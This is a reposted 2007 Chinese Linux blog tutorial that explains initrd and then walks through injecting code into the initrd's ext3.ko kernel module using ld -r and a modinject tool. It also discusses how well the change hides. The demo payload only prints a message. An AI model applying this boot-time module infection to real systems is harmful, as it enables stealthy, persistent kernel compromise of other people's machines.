Chinaunix首页 | 论坛 | 博客
  • 博客访问: 4611720
  • 博文数量: 385
  • 博客积分: 21208
  • 博客等级: 上将
  • 技术积分: 4393
  • 用 户 组: 普通用户
  • 注册时间: 2006-09-30 13:40
文章分类

全部博文(385)

文章存档

2015年(1)

2014年(3)

2012年(16)

2011年(42)

2010年(1)

2009年(2)

2008年(34)

2007年(188)

2006年(110)

分类: LINUX

2007-01-27 10:28:30


module injection的一个应用 - initrd

CoolQ

什么是initrd?
initrd = init ramdisk,是一个启动时存在于内存的文件系统。
initrd的最初的目的是为了把kernel的启动分成两个阶段:在kernel中保留最少最基本的启动代码,然后把对各种各样硬件设备的支持以模块的 方式放在initrd中,这样就在启动过程中可以从initrd所mount的根文件系统中装载需要的模块。这样的一个好处就是在保持kernel不变的 情况下,通过修改initrd中的内容就可以灵活的支持不同的硬件。在启动完成的最后阶段,根文件系统可以重新mount到其他设备上。

Linux启动一定要用initrd么?
不必,如果把需要的功能全都编译到内核中(非模块方式),只需要一个内核文件即可,initrd能够减小启动内核的体积并增加灵活性。如果你的内核以模块 方式支持某种文件系统(例如ext3, UFS),而启动阶段的驱动模块(如jbd)放在这些文件系统上,内核是无法读取文件系统的,从而只能通过initrd的虚拟文件系统来装载这些模块。
这里有些人会问: 既然内核此时不能读取文件系统,那内核的文件是怎么装入内存中的呢?答案很简单,Grub是file-system sensitive的,能够识别常见的文件系统。
initrd文件是怎么生成的?
使用mkinitrd命令,这个命令其实是一个Bash脚本
#file `which mkinitrd`
/sbin/mkinitrd: Bourne-Again shell script text executable
该脚本先建立一个8M的空文件,并在此上建立一个文件系统,并拷贝相应的的文件。
一个默认RedHat Fedora Core 2, 它的initrd是什么内容(跟系统的硬件相关)?
# file
initrd-2.6.5-1.358.img: gzip compressed data, from Unix, max compression
# mv initrd-2.6.5-1.358.img initrd-2.6.5-1.358.gz
# gzip -d initrd-2.6.5-1.358.gz
# ll
-rw-r--r-- 1 root root 8192000 Jan 14 11:32 initrd-2.6.5-1.358
# mkdir /mnt/loop
# mount -o loop initrd-2.6.5-1.356 /mnt/loop
# cd /mnt/loop && ls -lR
total 9
drwxr-xr-x 2 root root 1024 Oct 2 13:35 bin
drwxr-xr-x 2 root root 1024 Oct 2 13:35 dev
drwxr-xr-x 2 root root 1024 Oct 2 13:35 etc
drwxr-xr-x 2 root root 1024 Oct 2 13:35 lib
-rwxr-xr-x 1 root root 678 Oct 2 13:35 linuxrc <== 一个nash脚本
drwxr-xr-x 2 root root 1024 Oct 2 13:35 loopfs
drwxr-xr-x 2 root root 1024 Oct 2 13:35 proc
lrwxrwxrwx 1 root root 3 Oct 2 13:35 sbin -> bin
drwxr-xr-x 2 root root 1024 Oct 2 13:35 sys
drwxr-xr-x 2 root root 1024 Oct 2 13:35 sysroot
./bin:
total 188
-rwxr-xr-x 1 root root 152408 Oct 2 13:35 insmod <== 插入模块
lrwxrwxrwx 1 root root 10 Oct 2 13:35 modprobe -> /sbin/nash
-rwxr-xr-x 1 root root 37476 Oct 2 13:35 nash <== 一个小型解释器
./dev: <== 一些必要的设备文件
total 0
crw-r--r-- 1 root root 5, 1 Oct 2 13:35 console
crw-r--r-- 1 root root 1, 3 Oct 2 13:35 null
brw-r--r-- 1 root root 1, 1 Oct 2 13:35 ram
crw-r--r-- 1 root root 4, 0 Oct 2 13:35 systty
crw-r--r-- 1 root root 4, 1 Oct 2 13:35 tty1
crw-r--r-- 1 root root 4, 2 Oct 2 13:35 tty2
crw-r--r-- 1 root root 4, 3 Oct 2 13:35 tty3
crw-r--r-- 1 root root 4, 4 Oct 2 13:35 tty4
./etc:
total 0
./lib: <== 启动时必要的模块,也是我们的目标
total 378
-rw-r--r-- 1 root root 70620 Oct 2 13:35 BusLogic.ko
-rw-r--r-- 1 root root 122012 Oct 2 13:35 ext3.ko
-rw-r--r-- 1 root root 52184 Oct 2 13:35 jbd.ko
-rw-r--r-- 1 root root 119100 Oct 2 13:35 scsi_mod.ko
-rw-r--r-- 1 root root 15844 Oct 2 13:35 sd_mod.ko
./loopfs:
total 0
./proc:
total 0
./sys:
total 0
./sysroot:
total 0



关于linuxrc和nash
你可以将linuxrc看成是/sbin/init,当initrd装载后会运行linuxrc.
linuxrc的解释器是nash, 这是由diet静态编译的。而diet是一个小型的c库。
以下是linuxrc的内容
#!/bin/nash
mount -t proc /proc /proc
setquiet
echo Mounted /proc filesystem
echo Mounting sysfs
mount -t sysfs none /sys
echo "Loading scsi_mod.ko module"
insmod /lib/scsi_mod.ko
echo "Loading sd_mod.ko module"
insmod /lib/sd_mod.ko
echo "Loading BusLogic.ko module"
insmod /lib/BusLogic.ko
echo "Loading jbd.ko module"
insmod /lib/jbd.ko
echo "Loading ext3.ko module"
insmod /lib/ext3.ko
echo Creating block devices
mkdevices /dev
echo Creating root device
mkrootdev /dev/root
umount /sys
echo 0x0100 > /proc/sys/kernel/real-root-dev
echo Mounting root filesystem
mount -o defaults --ro -t ext3 /dev/root /sysroot
pivot_root /sysroot /sysroot/initrd
umount /initrd/proc
注意文件中的mount、echo、mkdevices、umount、pivot_root都是nash内建的命令,感兴趣的读者,可以看一下nash的源码

开始module injection吧
这里就以lib/ext3.ko作为目标

# cd tmp && cat test.c
----- cut here ------
#include
#include
#include

extern int init_module(void);

int evil_init(void)
{
printk("infected.\n");
init_module();
return 0;
}

----- cut here ------
# mymake.pl test
# ld -r /mnt/loop/lib/ext3.ko test.o -o tmp.ko
# modinject tmp.ko evil_init
[+] - Change Reloc init OK !
# mv tmp.ko /mnt/loop/lib/ext3.ko
# cd /mnt
# umount loop
# cd /boot
# gzip -9 initrd-2.6.5-1.356
# mv initrd-2.6.5-1.356.gz initrd-2.6.5-1.356.img

好了,现在重启系统,看看结果吧: 你应该能看到“infected”。

initrd module injection的可行性如何?
1. 并不是所有的系统都用initrd的,因此该方法受到了一定的限制。
2. 对于未压缩的initrd文件,大小为8M,由于使用mount将该文件作为一个磁盘设备,因此,即使在文件系统内修改ext3.ko等文件,initrd文件的大小和日期也不会改变(使用默认的ls命令)。
3. 对于gzip的initrd,文件大小会发生改变。
4. 无论initrd是否压缩,文件的哈希值都会发生变化。
可见,initrd的module injection可行性不是很好,但相对于单纯修改/lib/modules/`uname -r`下的模块来说,隐蔽性要好一些,人们很少关注initrd的改变。


关于test.c
一开始写test.c的时候,没有写开头的三个include,感觉编译成.o的时候,不声明printk也不会有什么问题,本来就是未解析的符号么,insmod的时候才会解析。如果????????gcc -c -O2 test.c生成的test.o还是正常的.
但是如果用内核的kbuild生成test.o,发现:
# mymake test
# objdump -j .text -d test.o
test.o: file format elf32-i386
Disassembly of section .text:

00000000 :
0: b8 00 00 00 00 mov $0x0,%eax <==
编译器竟然将参数用寄存器传递???
5: e8 fc ff ff ff call 6
a: e8 fc ff ff ff call b
f: 31 c0 xor %eax,%eax
11: c3 ret
结果就是printk打印出随机字符。
所以为了保证结果正确,还是把三个include文件写上吧。


附录: 方便编译2.6内核模块的一个Perl脚本 [re: coolq]
#!/usr/bin/perl -w
use strict;
my $makefile = "Makefile";
my $makefile_bak = "Makefile_bak";
my $filename = $ARGV[0];
my @lines;

&usage(1) unless defined($filename);
&usage(2) unless (-f ($filename . ".c"));
generate_makefile($makefile) unless(-f ($makefile));
`mv $makefile $makefile_bak`;
open FH, "<$makefile_bak" || die "Read Error $!\n";
@lines = ;
close FH;
open FH, ">>$makefile" || die "Write Error $!\n";
for(@lines){
if($_ =~ /^obj-m/){
print FH "obj-m := $filename.o\n";
}else{
print FH $_;
}
}
close FH;
`make`;
`rm -rf $makefile && mv $makefile_bak $makefile`;

sub usage()

{
my $param = shift;
if($param == 1){
print "No filename specified.\n";
}else{
print "File does not EXIST.\n";
}
print "Usage: $0 filename.\n";
exit(1);
}

sub generate_makefile()
{
my $makefile_content = "obj-m := module.o\n" .
"KDIR := /lib/modules/\$(shell uname -r)/build\n" .
"PWD := \$(shell pwd)\n" .
"default:\n" .
" \$(MAKE) -C \$(KDIR) SUBDIRS=\$(PWD) modules\n" .
"clean:\n" .
" rm -rf .* *.o *.cmd *.cmd.o *.ko *.mod.c\n";
my $make_file = shift;
open MAKEFH, ">$make_file" || die "can't write makefile! $!\n";
print MAKEFH $makefile_content;
close MAKEFH;
}

原文出自: http://www.linuxforum.net/forum/gshowthreaded.php?Cat=&Board=security&Number=537820&page=0&view=collapsed&sb=5&o=all&fpart=
阅读(3069) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~